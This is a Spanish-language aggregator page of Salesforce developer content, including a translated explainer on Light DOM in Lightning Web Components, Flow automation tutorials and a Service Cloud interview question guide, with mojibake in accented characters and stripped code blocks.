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Etiqueta: Lightning

35 citas inspiradoras sobre la inteligencia artificial

Las mejores citas sobre IA de expertos en inteligencia artificial sobre el impacto en los negocios, las ventas, la preparaci贸n de la fuerza laboral, el futuro del trabajo, la confianza, la 茅tica y la privacidad.

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T铆tulo del mensaje: Comparte tu voz hoy: Principales mejoras deseadas por los promotores para el LWC 鈽侊笍

T铆tulo del mensaje: Comparte tu voz hoy: Principales mejoras deseadas por los promotores para el LWC 鈽侊笍

Revisa las respuestas a la Encuesta sobre el estado de LWC 2023 y, a continuaci贸n, completa la encuesta 2024, que se llevar谩 a cabo hasta finales de marzo de 2024.

Participa en la Encuesta sobre el estado de LWC 2024

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Salesforce Developers Blog

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Los Codeys: Homenaje a los mejores contenidos de 2023 鈽侊笍

Los Codeys: Homenaje a los mejores contenidos de 2023 鈽侊笍

2023 fue un gran a帽o para los desarrolladores de Salesforce. Hubo un mont贸n de nuevas funciones interesantes, grandes mejoras en cosas como Lightning Web Components y, por supuesto, un mont贸n de nuevas herramientas y capacidades que aprovechan la Inteligencia Artificial. Todos los a帽os, en enero, celebramos los mejores contenidos destacados del a帽o anterior y se los traemos […]

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Los Codeys celebran el contenido m谩s destacado de 2023

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La versi贸n Spring ’24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring '24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring ’24 ya est谩 aqu铆, y estos son algunos de los aspectos m谩s destacados de la versi贸n, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

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La versi贸n Spring ’24 ya est谩 aqu铆

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Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

El versionado de la API de LWC es una excelente forma de garantizar la compatibilidad con versiones anteriores de los componentes existentes y, al mismo tiempo, permitir que los nuevos componentes adopten las nuevas caracter铆sticas.

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Blog de desarrolladores de Salesforce

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Prepare sus componentes LWC para Shadow DOM nativo en Spring ’24 鈽侊笍

Prepare sus componentes LWC para Shadow DOM nativo en Spring '24 鈽侊笍

El shadow DOM nativo har谩 que tus componentes LWC est茅n m谩s alineados con los est谩ndares web, las nuevas caracter铆sticas de los navegadores y un rendimiento mejorado.

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Cree pruebas integrales r谩pidamente con la extensi贸n de UTAM para Chrome 鈽侊笍

Cree pruebas integrales r谩pidamente con la extensi贸n de UTAM para Chrome 鈽侊笍

Construya pruebas de extremo a extremo r谩pidamente con dos elementos que hacen grande a UTAM: los objetos de p谩gina base (PO) y la extensi贸n UTAM para Chrome.

Los objetos de p谩gina base (PO) y la extensi贸n UTAM para Chrome son dos elementos que hacen grande a UTAM

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Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados 鈽侊笍

Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados 鈽侊笍

Aprenda a hacer que sus componentes web Lightning sean visualmente interactivos y f谩ciles de configurar en Experience Builder.

Los componentes web Lightning son f谩ciles de configurar en Experience Builder

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C贸mo el equipo Einstein hace operativos los modelos de IA a gran velocidad y escala

Por Yuliya Feldman y Scott Nyberg En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las experiencias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Yuliya Feldman, Arquitecta de ingenier铆a de software en Salesforce. Yuliya trabaja en el equipo de servicios de aprendizaje autom谩tico de Salesforce Einstein, responsable de la operacionalizaci贸n de los modelos de IA, que sirven como motor detr谩s de los […]

Generaci贸n de Salesforce

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Creaci贸n de experiencias ciudadanas al ritmo de Salesforce

Se necesita un amplio conjunto de funciones para ofrecer y respaldar las experiencias digitales de los ciudadanos; 驴c贸mo pueden los departamentos del gobierno del Reino Unido ofrecerlas a un ritmo adecuado con Salesforce?

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Optimice su organizaci贸n de Salesforce con estas 7 perspectivas cr铆ticas

Aunque esperamos que su organizaci贸n de Salesforce sea la excepci贸n, seg煤n las 煤ltimas investigaciones, es probable que albergue m谩s de 2000 riesgos de seguridad de c贸digo personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatizaci贸n. Pero seguro que su organizaci贸n es la excepci贸n, 驴verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]

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Su organizaci贸n es la excepci贸n

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C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

脷ltima actualizaci贸n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr贸ximo en superarlo As铆 que, 隆prep谩rese y sum茅rjase! 馃憠 Ya que est谩s aqu铆, es posible que desees

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C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate appeared first on Campe贸n de la Automatizaci贸n

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Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

脷ltima actualizaci贸n el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: 驴C贸mo se registran los correos electr贸nicos enviados con la acci贸n ‘enviar correo electr贸nico’? Objetivos: Despu茅s de leer este blog, ser谩s capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electr贸nico. Utilizar la acci贸n de flujo 芦Enviar correo electr贸nico禄. Utilizar

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Las alertas de correo electr贸nico se env铆an por correo electr贸nico

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Un d铆a en la vida de un nuevo programador de Salesforce

Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco m谩s de un a帽o, me incorpor茅 a Giveclarity como consultor t茅cnico en pr谩cticas. Tras tres meses de formaci贸n, me adentr茅 en el din谩mico mundo de la consultor铆a. Como nuevo miembro del equipo t茅cnico, me dedico a todo tipo de tareas, desde trabajar en […]

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Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

脷ltima actualizaci贸n el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participaci贸n de ventas?

Objetivos:

Despu茅s de leer este blog, podr谩s:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscr铆base para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado autom谩ticamente desde la clase Apex
  • Y mucho m谩s.

馃憠 Anteriormente, escrib铆 un art铆culo sobre Sales Engagement. 驴Por qu茅 no echarles un vistazo mientras lo haces?

  1. 驴Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea espec铆fica. Siempre que un vendedor por tel茅fono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participaci贸n de ventas, aseg煤rese de la creaci贸n autom谩tica de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participaci贸n en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

驴Qu茅 es la cadencia de participaci贸n en ventas?

La adquisici贸n de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, est谩n listos para emprender actividades de divulgaci贸n. 隆Pero espera! Demos un paso atr谩s y reflexionemos sobre las siguientes preguntas como pre谩mbulo para comprender la cadencia de ventas: (1) 驴Con qu茅 frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) 驴C贸mo le gustar铆a que se comunicaran con el cliente potencial, mediante llamada o correo electr贸nico? (2) 驴C贸mo desea capturar la disposici贸n de las llamadas? (3) etc茅tera.

La cadencia de participaci贸n de ventas es una l铆nea de tiempo de las actividades y m茅todos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El prop贸sito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluir铆a una lista de las cosas que hace para programar la primera reuni贸n.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electr贸nico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinaci贸n de las tres formas de comunicaci贸n mencionadas.

Una cadencia de participaci贸n de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participaci贸n de ventas difieren de un tipo de proceso de ventas a otro, pero la idea b谩sica sigue siendo la misma: toques consistentes y secuenciales.

驴Qu茅 es la captura de datos modificados?

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Desmitificando Light DOM y sus casos de uso 鈽侊笍

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una funci贸n de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (c贸digo abierto) y todas las versiones de la aplicaci贸n m贸vil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulaci贸n y seguridad s贸lidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una caracter铆stica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

驴C贸mo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Adem谩s, no permite que el c贸digo JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitri贸n en lugar de a su 谩rbol de sombra. Luego puede acceder al marcado desde otros componentes de la p谩gina como cualquier otro contenido en el host del documento que no est茅 protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador est谩ndar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O m谩s simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cu谩ndo usarlo y cu谩ndo no usarlo

Light DOM es una opci贸n para cada componente individual. Sus efectos no se aplicar谩n a otros componentes a menos que tambi茅n opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador est谩ndar, aplicar estilos globales o necesita m谩s flexibilidad para implementar las mejores pr谩cticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con m谩s profundidad en la siguiente secci贸n.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulaci贸n de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideraci贸n.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de an谩lisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
芦>

mascotChanger.js

Tenga en cuenta que, aunque el p谩rrafo consultado pertenece al componente helloCodey , podemos acceder a 茅l con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habr铆a devuelto null .

Tambi茅n puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso est谩tico en la p谩gina, siempre y cuando todos los componentes ancestros est茅n habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso est谩tico de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementaci贸n m谩s sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar 煤til es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un 煤nico componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementaci贸n facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarqu铆a y tambi茅n la implementaci贸n de la accesibilidad. Adem谩s, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM tambi茅n facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la p谩gina. La inyecci贸n de estilos globales a trav茅s de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
芦>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicar谩 a los p谩rrafos de todas las instancias del componente helloCodey en la p谩gina, ya que est谩 habilitado para DOM claro.

En la mayor铆a de los casos, no querr谩s que tu estilo se filtre a otros componentes. Eso todav铆a es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance est谩 escrito exactamente igual que el CSS normal, pero solo se aplicar谩 a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos est谩ticos en una p谩gina de Lightning Experience o un sitio de Experience Cloud, se les quitar谩 el alcance y se aplicar谩n tanto a los componentes DOM claros como tambi茅n a los componentes DOM de sombra, ya que la sombra sint茅tica no evitar谩 que se filtren. Esta es una limitaci贸n que se solucionar谩 una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa est谩 habilitada, solo los componentes habilitados para DOM claro heredar谩n los estilos globales.

4) Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores pr谩cticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

芦>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

芦>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

芦>

Tenga en cuenta que Salesforce est谩 trabajando actualmente con el W3C para agregar nuevos est谩ndares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no ser谩 necesario. Como parte de nuestros esfuerzos de accesibilidad, tambi茅n patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber m谩s sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y d贸nde se admiten.

Experiencia en la nube Experiencia rel谩mpago Aplicaciones m贸viles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. S铆 S铆 S铆 S铆
Implementaci贸n m谩s sencilla de componentes profundamente anidados S铆 S铆 S铆 S铆
Estilo global S铆 No No S铆
Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad S铆 S铆 S铆 S铆

*Si se utiliza DOM de sombra nativo en lugar de sombra sint茅tica . La sombra nativa es la opci贸n predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea m谩s en la gu铆a para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no est谩n disponibles en ellos. Eche un vistazo a la documentaci贸n para saber m谩s.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusi贸n

En esta publicaci贸n de blog, revisamos qu茅 es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qu茅 componentes habilitar谩n la funci贸n. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar t煤 mismo.

Para obtener m谩s informaci贸n sobre DOM ligero en la plataforma Salesforce, lea la documentaci贸n o, si est谩 trabajando fuera de la plataforma, lea la documentaci贸n OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migraci贸n.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

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Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de flujo de activaci贸n de registro: enviar notificaci贸n por correo electr贸nico al objeto principal en funci贸n de los cambios con el objeto secundario

Escenario de activaci贸n de registro 2

Su organizaci贸n administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificaci贸n al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Adem谩s, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique c贸mo dise帽ar铆a un Flujo para lograr esto.

Respuesta

Centr茅monos en el patr贸n para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.

1. Comprenda el requisito:

鈥 Punto de activaci贸n: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.

鈥 Resultado: Automatizar la notificaci贸n al propietario de la cuenta y actualizar las etapas de la oportunidad.

2. Desglosarlo:

鈥 Recuperaci贸n de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.

鈥 Notificaciones: env铆a una notificaci贸n al propietario de la cuenta.

鈥 Actualizaci贸n: actualice las etapas de la oportunidad seg煤n el cambio de estado del contacto.

3. Visualice el flujo:

– Secuencia:

鈥 Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.

鈥 Recuperar la cuenta del contacto y las oportunidades relacionadas.

鈥 Enviar una notificaci贸n al propietario de la cuenta.

鈥 Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.

4. Dise帽e el flujo:

鈥 Elementos:

鈥 鈥淩egistrar flujo activado鈥 para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cu谩ndo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 El 鈥淓lemento de decisi贸n鈥 comprueba si el campo de estado del caso est谩 activo o no

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Elemento 鈥淥btener registros鈥 para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

鈥 Enviar notificaci贸n por correo electr贸nico al propietario de la cuenta.

Escribe el correo electr贸nico. A la hora de redactar el contenido de tu correo electr贸nico, tienes tres opciones disponibles:

Opci贸n 1:
a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electr贸nico con la acci贸n Enviar correo electr贸nico. Puede hacer esto activando el ID de plantilla de correo electr贸nico e ingresando el ID de la plantilla de correo electr贸nico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electr贸nico desde las Plantillas de correo electr贸nico Lightning en sus aplicaciones o la p谩gina Plantilla de correo electr贸nico cl谩sica en la configuraci贸n. Luego copie la cadena de 15 caracteres de la URL y p茅guela en su flujo como ID de plantilla de correo electr贸nico.

Imagen que resalta la cadena de 15 caracteres en la URL de la p谩gina Plantilla de correo electr贸nico de una plantilla de correo electr贸nico de muestra.

Opci贸n 2: almacena el cuerpo de tu correo electr贸nico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuaci贸n, seleccione Nuevo recurso en el men煤 y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electr贸nico . Puede ingresar recursos personalizados desde el men煤 encima del cuadro de texto. De esta manera, puedes incluir tanto texto est谩tico como informaci贸n personalizada para el cliente potencial. Una vez que su plantilla est茅 completa, haga clic en Listo . Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

  1. Ahora que tenemos escrito el contenido de nuestro correo electr贸nico, es momento de determinar a qui茅n va dirigido. Active la lista de destinatarios e ingrese {!$Record.Email}. Ahora, la direcci贸n de correo electr贸nico vinculada al objeto Cliente potencial se convertir谩 autom谩ticamente en el destinatario.
  2. Otra caracter铆stica nueva de la versi贸n Summer '23 de Salesforce es la capacidad de registrar correos electr贸nicos enviados con la acci贸n Enviar correo electr贸nico. Esto significa que puede actualizar registros autom谩ticamente cuando se env铆a un correo electr贸nico, de modo que tenga un cronograma claro de comunicaci贸n almacenado directamente dentro del registro del objeto. Para hacer esto, active la opci贸n Registrar correo electr贸nico al enviar y establezca el valor en {!$GlobalConstant.True} .
  3. Cambie la ID del destinatario a Activado e ingrese {!$Record.Id} Ahora, el registro del destinatario se actualizar谩 autom谩ticamente para mostrar cu谩ndo fueron contactados, qu茅 dec铆a el correo electr贸nico e incluso cu谩ndo lo abrieron.

Una captura de pantalla de la pantalla de una computadora Descripci贸n generada autom谩ticamente

A continuaci贸n, active Cuerpo con formato de texto enriquecido. En el men煤 desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electr贸nico siga siendo consistente.

Imagen que muestra la Lista de direcciones de destinatarios activada con el cuadro de texto que muestra {!$Record.Email} y la opci贸n Cuerpo con formato de texto enriquecido activada con el cuadro de texto que muestra {!$GlobalConstant.True}

Por 煤ltimo, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si est谩 utilizando una ID de plantilla de correo electr贸nico.

Un objeto rectangular blanco con l铆neas negras. Descripci贸n generada autom谩ticamente.

鈥 Elemento 鈥淎ctualizar Registros鈥 para actualizar Etapas de Oportunidad.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

5. Escenario de prueba:

鈥 Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.

Producci贸n

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

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馃殌 Gu铆a definitiva de 150 preguntas sobre Salesforce Service Cloud: 隆domine cada detalle! 馃専

Servicio_nube

Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y caracter铆sticas
  • Gesti贸n de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatizaci贸n:
  • Informes y paneles en Service Cloud
  • Integraci贸n de CTI y telefon铆a
  • Servicio al cliente en redes sociales
  • Chat y mensajer铆a
  • Integraci贸n de correo electr贸nico
  • M茅tricas y an谩lisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y caracter铆sticas

1. 驴Qu茅 es Salesforce Service Cloud?

鈥 Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera r谩pida y eficiente. 隆Ah铆 es donde entra Salesforce Service Cloud!

2. 驴C贸mo beneficia Service Cloud a un departamento de atenci贸n al cliente?

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Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le env铆an correos electr贸nicos o le hacen ping en las redes sociales. 隆Es como hacer malabares! Service Cloud es como un asistente s煤per inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder m谩s r谩pido.

驴La mejor parte? Puede conectarse con sus clientes dondequiera que est茅n: por tel茅fono, en las redes sociales, lo que sea. 隆Menos caos, m谩s choca esos cinco en la oficina!

3. 驴Cu谩l es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un autom贸vil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, 驴la nube de servicios? Ese es su sistema de direcci贸n y comodidad. Una vez que los clientes est谩n a bordo, se garantiza que est茅n contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querr谩n viajar contigo nuevamente.

4. 驴Qu茅 es OmniCanal en el contexto de Service Cloud y c贸mo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electr贸nico, tel茅fono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. 驴C贸mo mejora Service Cloud la satisfacci贸n del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades r谩pidamente no s贸lo los deja satisfechos; 隆Puede convertirlos en fan谩ticos de tu marca! Adem谩s, los clientes satisfechos a menudo significan que volver谩n y les dir谩n a sus amigos lo fant谩stico que eres: 隆todos ganan!

Gesti贸n de casos

1.驴Qu茅 es un caso en Salesforce?

鈥 Imag铆nese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. 驴Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.驴C贸mo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente env铆a un correo electr贸nico, completa un formulario en su sitio web, le env铆a un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. 驴Qu茅 es Web-to-Case y c贸mo se utiliza?

驴Sabes c贸mo puedes pedir tu caf茅 con anticipaci贸n en una aplicaci贸n y te estar谩 esperando cuando llegues? Web-to-Case es algo as铆, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa informaci贸n se env铆a directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. 驴Explicar el correo electr贸nico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electr贸nico de servicio al cliente y Salesforce . Cuando sus clientes le env铆an un correo electr贸nico pidi茅ndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. 驴Qu茅 es la escalada de casos y c贸mo se configura?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

A veces, las cosas necesitan un poco m谩s de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto per铆odo de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una se帽al de alerta cuando uno est谩 tardando demasiado.

6. 驴C贸mo funcionan las reglas de asignaci贸n de casos?

Se帽ales manuales de emergencia de la polic铆a de tr谩nsito para conductores: conduzca en Malasia

Las reglas de asignaci贸n son como los polic铆as de tr谩nsito de Salesforce. Observan los nuevos casos que llegan y les indican la direcci贸n correcta. Seg煤n los detalles del caso, como de qu茅 se trata o de qui茅n proviene, estas reglas los env铆an al departamento correcto o a la persona m谩s adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. 驴Qu茅 son las colas de casos y en qu茅 se diferencian de las reglas de asignaci贸n?

Las reglas de asignaci贸n dirigen los casos a personas espec铆ficas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. 驴C贸mo se realiza un seguimiento del historial del caso?

